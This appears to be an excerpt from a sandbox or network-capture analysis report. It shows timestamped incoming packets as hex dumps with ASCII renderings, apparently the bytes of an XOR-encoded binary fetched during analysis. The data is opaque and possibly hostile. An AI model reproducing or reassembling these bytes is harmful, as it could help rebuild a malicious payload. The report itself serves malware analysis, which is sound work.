2022-06-26 07:43:09 UTC	377	IN	Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f 0e f7 60 e5 99 8b a5 61 5d 25 99 85 60 da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b a1 37 af 31 55 5c bc da 25 25 25 ea 7e e8 3d 9c 1c 25 97 c4 66 aa 06 f3 5c bc dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd 0e e5 a5 18 79 c2 1c 25 25 99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 0e a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 66 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25 25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 0e c8 60 da a3 6b 66 eb Data Ascii: %%%H\%%%f{2f`a]%`P9%%%%~=%Nqmfss`71U\%%%~=%f\%%T$^#`P)')]%%%~=%N'f:he%.{ffy%%fIfo6y%%yffhe%.{fff`f`fff%%%6f.{20ff`kf
2022-06-26 07:43:09 UTC	378	IN	Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da 0e 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af 20 da 00 da 25 25 25 ea 86 e0 3d 9c 1c 25 23 20 da 23 a6 50 0f 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a 83 36 34 38 9e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5c e9 89 23 da da 2e 7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 c2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5 99 e0 7e 6d c2 1c 25 8b 60 e5 99 f6 66 f5 8b 5c 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3 61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb e0 30 c2 1c 25 25 eb e0 79 c2 1c 25 25 c4 9a 25 25 25 30 0d 15 Data Ascii: \|m%ui+O? %%%=%# #P^'^#1X/i+/iP:648\|q%^R~5%he%0f\#.{2m%)%%q%%%%u%%%%H`~m%`f\dq%/~u%ae%=%-%%%^%'`%%%H0%%y%%%%%0
2022-06-26 07:43:09 UTC	380	IN	Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e e9 11 2e 0e e5 64 20 11 0e e5 30 8d 91 a2 65 25 89 da 55 89 64 45 0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68 20 15 75 8f dc 66 e8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 f5 1c 25 d7 dc 7c 15 9d 65 25 0d 4b c8 da da 66 f5 64 7f 31 66 e7 0d 8b 97 da da 0e e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e c4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 e0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b 66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d 7c c1 da da 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61 Data Ascii: %Y%f0f^.d 0e%UdE xf`d8 %h0ff d !h uf%\|e%f9fE%\|e%Kfd1f44d5Ne%h 6f8.f`P}f6.{,9%f;fd+f+f%d-%%%f+_^%P6.e%\|f`5!e%.~a
2022-06-26 07:43:09 UTC	381	IN	Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d e9 72 da da 16 1e 49 99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a f0 66 9c 94 da da 25 25 74 d2 d4 60 f7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 0e a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 19 2e 66 fd 77 0d 2c bd da da 64 20 19 0e e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 0e e5 30 8d 11 f1 65 25 89 da 55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d 0e e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4 6e 91 da da c6 ce 0e e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d 36 66 c0 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 b1 aa 1c 25 29 9e 1c Data Ascii: f)Im1f)I^1%PmffErIYh1f\%%PfC#`Zf%%t`Pf#6f5d-ff0f^.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f urPf 6f8he%%%%1%%)
2022-06-26 07:43:09 UTC	382	IN	Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 0b 1c 25 25 99 ea dd 5d 9c 1c 25 df 0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce d0 da da 0d bb cc da da 0e e5 7f 34 34 89 64 35 8d b6 ac 65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e 06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 0e e5 30 8d 14 f7 65 25 89 da 55 89 64 45 da e0 cd c2 1c 25 0e e5 7f 34 34 89 64 35 8d 65 f7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd c2 1c 25 dc 9e 30 66 11 0e e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 0e e5 7f 34 34 89 64 35 8d 9d f7 65 25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%%'%%%U%%.{ffX3f6f6f0f0e%UdE%44d5ee%kB8f^%0f0Le%UdE%44d5e%3B8f^%
2022-06-26 07:43:09 UTC	384	IN	Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00 61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21 30 df c9 f7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6c da da da 34 7e d9 c2 1c 25 30 df f9 f7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da da da 34 7e e1 c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd a1 b4 65 25 0d 14 da da da 34 7e e9 c2 1c 25 30 df 05 f7 65 25 dd a9 Data Ascii: f6485%m%fi%fe%fa%f0f,.{ffd8!f -^!%{f -fe!uhd !^X!%Pd8!f !6480f,]e%7hd !0e%me%4~%0e%e%l4~%0e%e%V4~%0e%e%@4~%0e%e%*4~%0e%e%4~%0e%
2022-06-26 07:43:09 UTC	385	IN	Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 e5 e1 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 e1 01 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 2a 9b 40 97 8b 91 4a 52 20 97 97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f2 20 7b 3c 97 44 3c 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97 Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JR JfEe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Ee%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<$<DB
2022-06-26 07:43:09 UTC	389	IN	Data Raw: 25 68 20 21 0d c2 34 da da 9e c4 94 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d 37 c8 65 25 89 da 55 89 64 45 68 20 21 0d d3 53 25 25 66 9e 66 30 21 0d e9 63 25 25 0e e5 7f 34 34 89 64 35 8d f4 c8 65 25 68 20 21 0d f2 2e da da 9e c4 48 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d 83 c8 65 25 89 da 55 89 64 45 68 20 21 0d 3f 61 25 25 66 9e 66 30 21 0d 2d 1a 25 25 0e e5 7f 34 34 89 64 35 8d 40 c8 65 25 68 20 21 0d f6 48 da da 9e c4 fc 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d cf c8 65 25 89 da 55 89 64 45 68 20 21 0d 27 16 25 25 66 9e 66 30 21 0d b5 63 25 25 0e e5 7f 34 34 89 64 35 8d 8c c8 65 25 68 20 21 0d aa 91 da da 9e c4 b0 26 da da c6 15 36 34 38 9e 68 65 25 2e 7b 32 Data Ascii: %h !4q648he%0f%.f07e%UdEh !S%%ff0!c%%44d5e%h !.Hq648he%0f%.f0e%UdEh !?a%%ff0!-%%44d5@e%h !Hq648he%0f%.f0e%UdEh !'%%ff0!c%%44d5e%h !&648he%.{2
2022-06-26 07:43:09 UTC	393	IN	Data Raw: da 57 89 64 47 66 20 21 8b 66 25 ea 92 f5 5e 1f 39 ea 62 a6 dc 25 25 da 49 70 3a d8 65 25 8e d8 65 25 eb d8 65 25 ca d8 65 25 27 23 65 25 39 23 65 25 4f 23 65 25 65 23 65 25 81 23 65 25 97 23 65 25 35 da 65 25 fe da 65 25 60 23 65 25 1f 23 65 25 35 da 65 25 fe da 65 25 fe da 65 25 bd 23 65 25 86 23 65 25 9a 23 65 25 ae 23 65 25 0b 23 65 25 a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 8d de 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 39 25 8b dd dc 25 0d 01 07 da da a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 1a de 25 25 66 20 21 ea 9a 65 2d 74 64 20 15 64 30 19 c4 51 de 25 25 66 20 21 66 65 2d 74 64 20 15 64 30 19 c4 3f de 25 25 66 20 21 b4 65 2d 0d a0 0a da da 64 20 15 64 30 19 c4 29 de 25 25 66 20 21 b8 65 2d 0d 8a 0a da da 64 20 15 64 30 19 c4 13 27 25 25 Data Ascii: WdGf !f%^9b%%Ip:e%e%e%e%'#e%9#e%O#e%e#e%#e%#e%5e%e%`#e%#e%5e%e%e%#e%#e%#e%#e%#e% %%%% %%%%%%E%%9%% %%%% %%%%%%f !e-td d0Q%%f !fe-td d0?%%f !e-d d0)%%f !e-d d0'%%
2022-06-26 07:43:09 UTC	397	IN	Data Raw: 1c 25 c8 31 1c 25 c8 31 1c 25 c8 31 1c 25 b3 31 1c 25 c9 31 1c 25 92 31 1c 25 ef 31 1c 25 bc 31 1c 25 0e e5 64 20 1d c4 de dc 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 29 25 8b dd dc 25 0d 9b f9 da da 0e e5 64 20 1d c4 be 25 25 25 66 20 21 ba 65 2d b4 38 1d 76 c4 f9 25 25 25 66 20 21 b6 65 2d b4 38 1d 76 c4 a0 25 25 25 66 20 21 66 65 2d 64 20 1d c4 92 25 25 25 66 20 21 ea 9a 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 7c 25 25 25 66 20 21 ea e3 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 66 25 25 25 66 20 21 ea db 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 9d 66 20 21 ea 92 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 40 66 20 21 66 65 2d 64 20 11 0e e5 64 20 15 ba 48 11 b4 38 1d 76 c6 73 66 20 21 ba 8d 2d b4 38 1d 76 c6 67 0e e5 30 8d ec e8 1c 25 89 da 55 89 64 45 66 20 21 0d Data Ascii: %1%1%1%1%1%1%1%1%d %%E%%)%%d %%%f !e-8v%%%f !e-8v%%%f !fe-d %%%f !e-d 8v\|%%%f !e-d 8vf%%%f !e-d 8vf !e-d 8v@f !fe-d d H8vsf !-8vg0%UdEf !
2022-06-26 07:43:09 UTC	401	IN	Data Raw: 3c da da 66 30 1d 66 eb 0d 0f fe da da c4 c2 de 25 25 b4 1e 2d 5e e9 19 b6 61 49 76 68 20 19 0d 16 50 da da 66 30 19 66 eb 0d a4 fe da da c4 eb de 25 25 b8 1e 2d 5e e9 19 b6 61 49 76 68 20 15 0d 3f 50 da da 66 30 15 66 eb 0d cd fe da da c4 80 de 25 25 da 4e 31 da 4e 2d 68 20 11 0d ac d6 da da 66 30 11 66 eb 0d 9a 00 da da c4 ad de 25 25 da 4e 31 da 4e 2d 68 20 0d 0d 11 d6 da da 66 30 0d 66 eb 0d c7 00 da da c4 46 de 25 25 68 20 09 75 66 1e 2d 94 da da da 5a df dc 25 25 25 0d 5a 06 da da 66 30 09 66 eb 0d 58 00 da da c4 6b de 25 25 68 30 05 8b 66 1e 2d 0d 09 d6 da da 66 30 05 66 eb 0d 87 00 da da c4 06 de 25 25 68 30 01 ea e3 1e 2d 0d 64 85 da da 66 30 01 66 eb 0d ee fe da da c4 35 de 25 25 68 30 fd 0e e5 af 1e 2d 0d 48 85 da da 66 30 fd 66 eb 0d d2 47 da Data Ascii: <f0f%%-^aIvh Pf0f%%-^aIvh ?Pf0f%%N1N-h f0f%%N1N-h f0fF%%h uf-Z%%%Zf0fXk%%h0f-f0f%%h0-df0f5%%h0-Hf0fG
2022-06-26 07:43:09 UTC	405	IN	Data Raw: 25 25 1e 50 97 97 40 93 3e 54 25 25 25 25 da da da da 29 25 25 25 69 3c 99 40 25 25 25 25 da da da da 2b 25 25 25 2a 91 40 2e 99 97 25 25 da da da da 2d 25 25 25 69 44 4e 95 3c 99 3e 8d 25 25 25 25 da da da da e0 25 25 25 20 97 97 4a 97 25 25 25 da da da da e2 25 25 25 67 4a 4a 91 40 3c 93 25 da da da da e2 25 25 25 7b 3c 97 44 3c 93 99 25 da da da da e2 25 25 25 30 93 46 93 4a 52 93 25 da da da da e2 25 25 25 69 40 3e 44 48 3c 91 25 da da da da de 25 25 25 49 55 6b 25 da da da da 2d 25 25 25 2e 8d 4a 97 99 24 93 99 25 25 25 25 da da da da 29 25 25 25 67 54 99 40 25 25 25 25 da da da da 29 25 25 25 32 4a 97 89 25 25 25 25 da da da da 2d 25 25 25 71 4a 93 42 32 4a 97 89 25 25 25 25 da da da da e0 25 25 25 24 93 99 5b 59 25 25 25 30 66 11 5c e9 1d d8 da da Data Ascii: %%P@>T%%%%)%%%i<@%%%%+%%%*@.%%-%%%iDN<>%%%%%%% J%%%%%%gJJ@<%%%%{<D<%%%%0FJR%%%%i@>DH<%%%%IUk%-%%%.J$%%%%)%%%gT@%%%%)%%%2J%%%%-%%%qJB2J%%%%%%%$[Y%%%0f\
2022-06-26 07:43:09 UTC	409	IN	Data Raw: 99 2d 68 30 d1 0d fe de 25 25 66 38 15 60 b6 99 41 26 68 d9 b8 d1 d8 da da 66 a3 29 60 da 99 e4 66 b2 66 2b 0d 0d 35 da da 60 b6 50 09 0e e5 7f 34 34 89 64 35 8d 0f 18 1c 25 66 38 15 60 b6 99 37 26 66 a9 b8 d1 d8 da da 75 0d fb 1b da da 60 b6 50 13 9e c4 c1 d6 23 da c6 ba 0e e5 7f 34 34 89 64 35 8d e8 63 1c 25 68 20 d1 66 f0 95 59 1c 25 0d f6 31 da da 9e c4 54 d6 23 da c6 0f 3a 83 36 66 c0 38 e7 2d 25 66 e5 30 66 11 5e e9 1d 66 20 2d 66 65 21 64 20 1d eb 20 21 2b 68 20 1d 75 8f 25 66 e8 e5 aa 1c 25 d7 dc 7c 85 10 1c 25 0d 44 9b da da 0d 99 d6 23 da 34 34 38 9e 30 66 11 5e e9 05 2e 7b 32 64 28 19 64 30 21 64 20 09 68 58 05 66 20 21 64 e2 0e 1b 64 40 1d 66 20 19 65 9c 05 27 04 e9 68 20 15 64 45 66 e2 0d ad 6b da da 66 fd 8f 25 8f 25 2e 66 e2 75 8f 25 8f 25 Data Ascii: -h0%%f8`A&hf)`ff+5`P44d5%f8`7&fu`P#44d5c%h fY%1T#:6f8-%f0f^f -fe!d !+h u%f%\|%D#4480f^.{2d(d0!d hXf !dd@f e'h dEfkf%%.fu%%
2022-06-26 07:43:09 UTC	413	IN	Data Raw: 50 95 4e b5 30 66 11 2c 2e 7b 32 a9 f7 99 2d 5e e9 15 0d a0 0d 23 da 66 d4 ad 30 da 66 fd 0e f7 66 9e 0d 0c 0b 23 da d7 dc 7c 59 6d 1c 25 0d 00 0b 23 da 64 1e 29 d7 dc 7c 19 6f 1c 25 0d 3b 0b 23 da 64 1e 2d d7 dc 7c 59 6d 1c 25 0d e2 0b 23 da 66 15 64 4e 31 66 eb 66 b2 0d a4 27 25 25 66 9e a5 58 da 25 99 ea 0d ed 0d 23 da 89 6a e0 25 25 25 25 5e e9 31 66 9e 3a 83 36 34 38 9e 66 e5 2e 7b 0d 98 0d 23 da 66 ff 66 15 66 ae a5 07 21 66 eb 0d bc c0 23 da 66 6b 29 0d c4 c0 23 da 66 6b 2d 0d bc c0 23 da 66 6b 31 0d b4 c0 23 da a9 b6 a3 e2 66 eb 0d 97 0d 23 da 83 36 9e 68 65 25 2e 7b 66 ff 66 15 60 b6 99 35 66 eb 0d 86 29 da da 16 fd 99 e0 0e e5 83 36 9e d5 dc 83 36 9e b5 2e 7b 32 66 1f 66 15 66 6b 31 66 7d 2d 26 5e d6 25 a1 00 66 ae 66 6b 31 0d 46 de 25 25 66 b2 Data Ascii: PN0f,.{2-^#f0ff#\|Ym%#d)\|o%;#d-\|Ym%#fdN1ff'%%fX%#j%%%%^1f:648f.{#fff!f#fk)#fk-#fk1#f#6he%.{ff`5f)66.{2fffk1f}-&^%ffk1F%%f
2022-06-26 07:43:09 UTC	418	IN	Data Raw: 35 8d 8a 83 1c 25 66 20 21 0d d0 b0 23 da 9e c4 b2 ff 23 da c6 15 83 34 38 9e b5 30 66 11 5e e9 1d 2e 7b 0e a4 64 28 1d 66 ff 64 20 21 0e e5 30 8d 2c 3a 1c 25 89 da 55 89 64 45 66 20 21 0d 61 d4 da da 0e e5 30 8d 59 3a 1c 25 89 da 55 89 64 45 66 9e 66 35 da 37 66 15 66 9e 0d 2a e6 25 25 06 15 68 20 1d 66 f3 0e f7 0d ec 07 23 da 66 30 1d 66 f3 66 9e 66 3d da 2e 31 66 30 1d 66 20 21 66 2d da 2c 51 0e e5 7f 34 34 89 64 35 8d 16 3a 1c 25 66 20 21 0d 7c d4 da da 9e c4 26 ff 23 da c6 15 0e e5 7f 34 34 89 64 35 8d 7d 3a 1c 25 68 20 1d 0d fd 05 23 da 9e c4 53 ff 23 da c6 15 83 36 34 34 38 9e 66 e5 30 66 11 5e e9 1d 2e 7b 32 0e b6 64 38 1d 66 cc 66 ff 64 20 21 0e e5 30 8d dc 85 1c 25 89 da 55 89 64 45 16 ce 99 89 66 20 21 0d 64 1d da da 0e e5 30 8d 09 3a 1c 25 89 Data Ascii: 5%f !##480f^.{d(fd !0,:%UdEf !a0Y:%UdEff57ff*%%h f#f0fff=.1f0f !f-,Q44d5:%f !\|&#44d5}:%h #S#6448f0f^.{2d8ffd !0%UdEf !d0:%
2022-06-26 07:43:09 UTC	422	IN	Data Raw: 30 1d 64 20 21 5e 18 b1 0d 1c 25 25 ea a9 ab 25 25 25 7c b1 0d 1c 25 0d 4b c0 da da 66 1d 0e e5 30 8d 8a 4a 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 a1 69 66 ae 66 a2 0d 45 be da da 66 15 5e 58 21 25 99 2d 66 6b 2d 16 20 21 50 00 5e 58 1d 25 99 ea 66 7b 35 66 20 1d 0d fe e8 da da a9 e5 99 35 66 ae 66 a2 0d 23 bc da da 66 eb 0d e6 a0 23 da 26 5e d6 da 50 e1 0e e5 7f 34 34 89 64 35 8d db 4a 1c 25 7c b1 0d 1c 25 0d eb 09 da da 9e c4 f5 a4 23 da c6 13 3a 83 36 34 34 38 9e 68 65 25 30 66 11 2c 2e 7b 32 64 20 21 5e 18 b1 0d 1c 25 25 99 46 7c b1 0d 1c 25 0d 5e 09 da da 66 1d 0e e5 30 8d 12 95 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 a1 04 66 ae 66 a2 0d 58 07 da da 66 15 66 6b 29 16 20 21 50 35 66 ae 66 a2 0d 9b bc da da 66 eb 0d 5e e9 23 da 26 5e d6 da Data Ascii: 0d !^%%%%%\|%Kf0J%UdEf:-&^%iffEf^X!%-fk- !P^X%f{5f 5ff#f#&^P44d5J%\|%#:6448he%0f,.{2d !^%%F\|%^f0%UdEf:-&^%ffXffk) !P5fff^#&^
2022-06-26 07:43:09 UTC	426	IN	Data Raw: c6 c6 66 20 21 83 36 66 c0 38 9e 66 e5 2e 7b 32 5e e9 1d 66 cc 66 1f 66 fd 8f 65 8d 25 55 25 25 7b 8f 25 2e 0d 79 c0 23 da 64 29 49 68 69 49 29 75 7b 32 66 69 49 31 75 2e 0d 5a c0 23 da 66 29 49 34 7f 3a 83 36 9e 66 e5 30 66 11 5e e9 15 2e 7b 32 66 d4 66 17 66 fd 66 28 31 66 b2 66 9e 0d 84 da da da 64 20 1d 66 eb 0d b2 23 da da 66 ed 66 fb 66 9e 0d b9 da da da 64 20 21 68 20 15 75 8f 25 66 20 1d 75 66 20 21 75 8f 25 8f 25 2e 0d 2c be 23 da 66 15 a5 58 2d 25 99 f6 8f da 7b 0d dc c0 23 da 68 20 19 75 66 20 31 75 32 66 20 1d 75 2e 0d a3 09 23 da 66 eb 3a 83 36 66 c0 38 e7 2d 25 68 65 25 2e 7b 32 30 5c e9 f5 23 da da 66 0f 66 1d 0e b6 8f 65 8d 25 35 25 25 8d fe dc 25 25 8f 25 32 0d b9 09 23 da 64 29 49 5e 61 49 25 ea a9 84 25 25 25 66 29 49 eb 69 49 31 8d 68 Data Ascii: f !6f8f.{2^fffe%U%%{%.y#d)IhiI)u{2fiI1u.Z#f)I4:6f0f^.{2ffff(1ffd f#fffd !h u%f uf !u%%.,#fX-%{#h uf 1u2f u.#f:6f8-%he%.{20\#ffe%5%%%%%2#d)I^aI%%%%f)IiI1h
2022-06-26 07:43:09 UTC	429	IN	Data Raw: e9 19 2e 7b 32 0e b6 64 38 19 66 d4 64 30 1d 64 20 21 66 20 21 0d e3 dd 23 da 66 20 1d 0d db dd 23 da 0e e5 30 8d a8 b1 1c 25 89 da 55 89 64 45 0e 1b 68 20 19 66 30 21 0d 5e d9 23 da 66 20 19 0d 7e db 23 da 75 66 a2 94 dc 25 25 25 66 f0 d5 ad 1c 25 0d e1 eb 23 da 5e e9 29 66 30 19 66 20 1d 0d 8f 94 23 da 66 fd 26 5e d6 da 50 ea 66 e2 68 29 d5 66 30 19 0d dc d9 23 da c6 10 66 e2 68 29 d5 75 66 a6 df dc 25 25 25 66 20 19 0d db dd 23 da 66 20 1d 0d 73 db 23 da 66 ed de a6 68 20 19 df dc 25 25 25 0d b8 dd 23 da 6b 5e 58 19 25 50 84 0e e5 7f 34 34 89 64 35 8d f9 b1 1c 25 68 20 19 df de 25 25 25 0d a5 8e 23 da 9e c4 d7 d1 23 da c6 c6 3a 83 36 66 c0 38 9e b5 2e 7b 32 30 2c 66 c4 66 ff 64 29 49 68 4e dc 66 fb 66 a0 0d 49 94 23 da 73 60 1b a1 f6 6b 0e da 66 41 49 Data Ascii: .{2d8fd0d !f !#f #0%UdEh f0!^#f ~#uf%%%f%#^)f0f #f&^Pfh)f0#fh)uf%%%f #f s#fh %%%#k^X%P44d5%h %%%##:6f8.{20,ffd)IhNffI#s`kfAI
2022-06-26 07:43:09 UTC	433	IN	Data Raw: 25 df f1 d7 1c 25 0d 11 7e 23 da da 10 59 c4 1c 25 da 10 41 c4 1c 25 da 10 25 c4 1c 25 8d 05 d7 1c 25 68 60 99 da da da df 29 25 25 25 0d cc cb 23 da 66 60 99 da da da 0d 4b cd 23 da 75 0d 05 a2 23 da 7e ed 0d 1c 25 da 10 71 c4 1c 25 8d 11 d7 1c 25 da 10 5d c4 1c 25 8d 21 d7 1c 25 da 10 f5 0d 1c 25 68 60 95 da da da df e0 25 25 25 0d 8a cb 23 da 66 60 95 da da da 0d 09 82 23 da 75 7c ed 0d 1c 25 75 0d 7d a2 23 da 7e dd 0d 1c 25 df 6d 3e 65 25 dd dd 0d 1c 25 0d f9 11 da da 7c ed 0d 1c 25 75 0d 9c eb 23 da dd 59 c4 1c 25 df 31 8e 1c 25 0d 63 7e 23 da dd 41 c4 1c 25 df 3d 8e 1c 25 0d 0a 7e 23 da dd 25 c4 1c 25 df 49 8e 1c 25 0d 45 7e 23 da dd 5d c4 1c 25 df 55 8e 1c 25 0d ec 7e 23 da dd 71 c4 1c 25 df 65 8e 1c 25 0d 27 7e 23 da dd f5 0d 1c 25 df 71 8e 1c 25 Data Ascii: %%~#Y%A%%%%h`)%%%#f`K#u#~%q%%]%!%%h`%%%#f`#u\|%u}#~%m>e%%\|%u#Y%1%c~#A%=%~#%%I%E~#]%U%~#q%e%'~#%q%
2022-06-26 07:43:09 UTC	437	IN	Data Raw: 1c 25 7c ed 0d 1c 25 75 0d 2c 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d a8 01 da da 8d e5 db 1c 25 7c ed 0d 1c 25 75 0d 08 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 84 01 da da 7c ed 0d 1c 25 75 0d bb db 23 da dd 59 c4 1c 25 df 09 db 1c 25 0d ee 6e 23 da 68 60 99 d8 da da 94 f9 8e 1c 25 66 f0 59 c4 1c 25 0d 90 70 23 da 66 60 99 d8 da da 0d 83 72 23 da 66 f5 68 60 9d d8 da da 0d 64 b9 23 da 66 60 9d d8 da da df 25 a5 25 25 0d cc 43 da da 7e ed 0d 1c 25 8d 0d db 1c 25 7c ed 0d 1c 25 75 0d d1 db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 4d 01 da da 8d 21 db 1c 25 7c ed 0d 1c 25 75 0d ad db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 29 01 da da 8d 31 92 1c 25 7c ed 0d 1c 25 75 0d 89 db 23 da 7e dd 0d 1c 25 Data Ascii: %\|%u,#~%M>e%%%\|%u#~%M>e%%\|%u#Y%%n#h`%fY%p#f`r#fh`d#f`%%%C~%%\|%u#~%M>e%%M!%\|%u#~%M>e%%)1%\|%u#~%
